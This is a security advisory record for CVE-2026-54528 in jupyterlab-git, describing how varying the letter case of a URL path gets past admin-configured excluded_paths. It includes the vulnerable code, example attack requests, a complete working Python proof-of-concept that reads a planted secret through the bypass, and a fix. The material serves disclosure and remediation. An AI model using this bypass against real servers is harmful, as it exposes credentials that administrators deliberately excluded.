CVE-2026-54528: Jupyterlab git Jupyterlab-git Excluded_paths Case-Sensitivity Bypass Allows Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-436q-jwfr-rm2h",
  "modified" : "2026-06-19T19:36:22Z",
  "published" : "2026-06-19T19:36:22Z",
  "aliases" : [ "CVE-2026-54528" ],
  "summary" : "jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories",
  "details" : "## Summary\n\n`jupyterlab-git` 0.53.0 (latest, 2026-04-30) uses `fnmatch.fnmatchcase()` in `GitHandler.prepare()` (`jupyterlab_git/handlers.py:91`) to enforce the admin-configured `excluded_paths` security control. Because `fnmatchcase` is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting `/git/project/Secrets/...` instead of `/git/project/secrets/...` — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.\n\n## Vulnerable Code\n\n```python\n# jupyterlab_git/handlers.py:84-92\nasync def prepare(self):\n    \"\"\"Check if the path should be skipped\"\"\"\n    await ensure_async(super().prepare())\n    path = self.path_kwargs.get(\"path\")\n    if path is not None:\n        excluded_paths = self.git.excluded_paths\n        for excluded_path in excluded_paths:\n            if fnmatch.fnmatchcase(path, excluded_path):  # ← always case-sensitive\n                raise tornado.web.HTTPError(404)\n```\n\n## Root Cause\n\n`fnmatch.fnmatchcase()` is unconditionally case-sensitive regardless of the operating system. Contrast with `fnmatch.fnmatch()` which normalizes via `os.path.normcase()` on case-insensitive platforms.\n\n```python\nfnmatch.fnmatchcase(\"/project/secrets\", \"/project/secrets\")  # True  — blocked\nfnmatch.fnmatchcase(\"/project/Secrets\", \"/project/secrets\")  # False — bypasses check\n```\n\nOn macOS APFS and Windows NTFS, `/project/Secrets` and `/project/secrets` resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream `url2localpath()` resolves the case-varied path to the same filesystem location.\n\n## Impact\n\nAn authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured `excluded_paths` by varying the case of the URL path segment. This grants:\n\n- Read file content at any git ref (`/content` endpoint)\n- Read working tree files in the excluded directory\n- View git status, log, diff on the excluded path\n- Enumerate commits touching excluded files\n\n## Attack Scenario\n\n1. Admin configures `c.JupyterLabGit.excluded_paths = [\"/project/secrets\", \"/project/secrets/*\"]`\n2. Normal request `POST /git/project/secrets/status` → HTTP 404 (blocked)\n3. Attacker requests `POST /git/project/Secrets/status` → HTTP 200 (bypass)\n4. Attacker reads secret: `POST /git/project/Secrets/content` with `{\"filename\": \"./cred.txt\", \"reference\": {\"git\": \"HEAD\"}}` → file content returned\n\n## Exploit\n\nSee `poc.py`. Starts a real jupyter-server with jupyterlab-git loaded, configures `excluded_paths`, and demonstrates bypass + exfiltration via HTTP.\n```python\nimport json, os, shutil, subprocess, sys, tempfile, time\nimport urllib.request, urllib.error\n\nfrom jupyterlab_git.handlers import GitHandler  # real import, no mock\nfrom jupyterlab_git_core.git import Git\nimport jupyterlab_git_core\n\nPORT = 18895\nTOKEN = \"xtoken\"\nBASE_URL = f\"http://127.0.0.1:{PORT}\"\nSECRET = \"sk-PROD-a8f2x9q-LIVE-KEY\"\n\n\ndef post(path_seg, endpoint, body=None):\n    url = f\"{BASE_URL}/git/{path_seg}{endpoint}\"\n    data = json.dumps(body or {}).encode()\n    req = urllib.request.Request(url, data=data, method=\"POST\",\n        headers={\"Authorization\": f\"token {TOKEN}\", \"Content-Type\": \"application/json\"})\n    try:\n        resp = urllib.request.urlopen(req, timeout=10)\n        return resp.status, json.loads(resp.read())\n    except urllib.error.HTTPError as e:\n        return e.code, e.read().decode()\n\n\ndef main():\n    base_dir = tempfile.mkdtemp(prefix=\"jlgit_\")\n    workspace = os.path.join(base_dir, \"workspace\")\n    repo_dir = os.path.join(workspace, \"project\")\n    secret_dir = os.path.join(repo_dir, \"secrets\")\n    os.makedirs(secret_dir)\n\n    with open(os.path.join(secret_dir, \"cred.txt\"), \"w\") as f:\n        f.write(SECRET + \"\\n\")\n\n    git_env = {**os.environ, \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@x\",\n               \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@x\"}\n    subprocess.run([\"git\", \"init\"], cwd=repo_dir, capture_output=True, check=True)\n    subprocess.run([\"git\", \"add\", \".\"], cwd=repo_dir, capture_output=True, check=True)\n    subprocess.run([\"git\", \"commit\", \"-m\", \"init\"], cwd=repo_dir,\n                   capture_output=True, check=True, env=git_env)\n\n    config_path = os.path.join(base_dir, \"jupyter_server_config.py\")\n    with open(config_path, \"w\") as f:\n        f.write(f'c.ServerApp.root_dir = \"{workspace}\"\\n')\n        f.write(f'c.ServerApp.token = \"{TOKEN}\"\\n')\n        f.write(f'c.ServerApp.open_browser = False\\n')\n        f.write(f'c.ServerApp.port = {PORT}\\n')\n        f.write(f'c.ServerApp.ip = \"127.0.0.1\"\\n')\n        f.write(f'c.ServerApp.disable_check_xsrf = True\\n')\n        f.write(f'c.JupyterLabGit.excluded_paths = [\"/project/secrets\", \"/project/secrets/*\"]\\n')\n\n    env = os.environ.copy()\n    env[\"JUPYTER_CONFIG_DIR\"] = base_dir\n    env[\"JUPYTER_DATA_DIR\"] = base_dir\n    proc = subprocess.Popen(\n        [sys.executable, \"-m\", \"jupyter_server\", f\"--config={config_path}\",\n         \"--ServerApp.jpserver_extensions={'jupyterlab_git': True}\"],\n        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)\n\n    for _ in range(30):\n        try:\n            req = urllib.request.Request(f\"{BASE_URL}/api/status\",\n                                         headers={\"Authorization\": f\"token {TOKEN}\"})\n            if urllib.request.urlopen(req, timeout=2).status == 200:\n                break\n        except (urllib.error.URLError, OSError):\n            pass\n        time.sleep(0.5)\n    else:\n        proc.kill()\n        shutil.rmtree(base_dir, ignore_errors=True)\n        sys.exit(\"server failed to start\")\n\n    try:\n        # exclusion works\n        code, _ = post(\"project/secrets\", \"/status\")\n        blocked = code == 404\n\n        # bypass\n        code, _ = post(\"project/Secrets\", \"/status\")\n        bypassed = code == 200\n\n        # exfiltrate\n        code, body = post(\"project/Secrets\", \"/content\",\n                          {\"filename\": \"./cred.txt\", \"reference\": {\"git\": \"HEAD\"}})\n        content = body.get(\"content\", \"\") if isinstance(body, dict) else \"\"\n        exfiltrated = SECRET in content\n\n        ok = blocked and bypassed and exfiltrated\n        print(f\"exclusion enforced (lowercase): {blocked}\")\n        print(f\"bypass (case-varied):           {bypassed}\")\n        print(f\"secret exfiltrated:             {exfiltrated}\")\n        print(f\"result:                         {'VULNERABLE' if ok else 'NOT CONFIRMED'}\")\n        return ok\n\n    finally:\n        proc.terminate()\n        proc.wait(timeout=5)\n        shutil.rmtree(base_dir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    sys.exit(0 if main() else 1)\n\n```\n\n```bash\npip install 'jupyterlab-git==0.53.0'\npython poc.py\n```\n<img width=\"686\" height=\"146\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625\" />\n\n\n## Fix\n\n```python\nif fnmatch.fnmatch(path.lower(), excluded_path.lower()):\n    raise tornado.web.HTTPError(404)\n```\n\nOr apply `os.path.normcase()` to both operands before comparison.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "jupyterlab-git"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.54.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.53.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jupyterlab/jupyterlab-git/security/advisories/GHSA-436q-jwfr-rm2h"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jupyterlab/jupyterlab-git"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-178" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T19:36:22Z",
    "nvd_published_at" : null
  }
}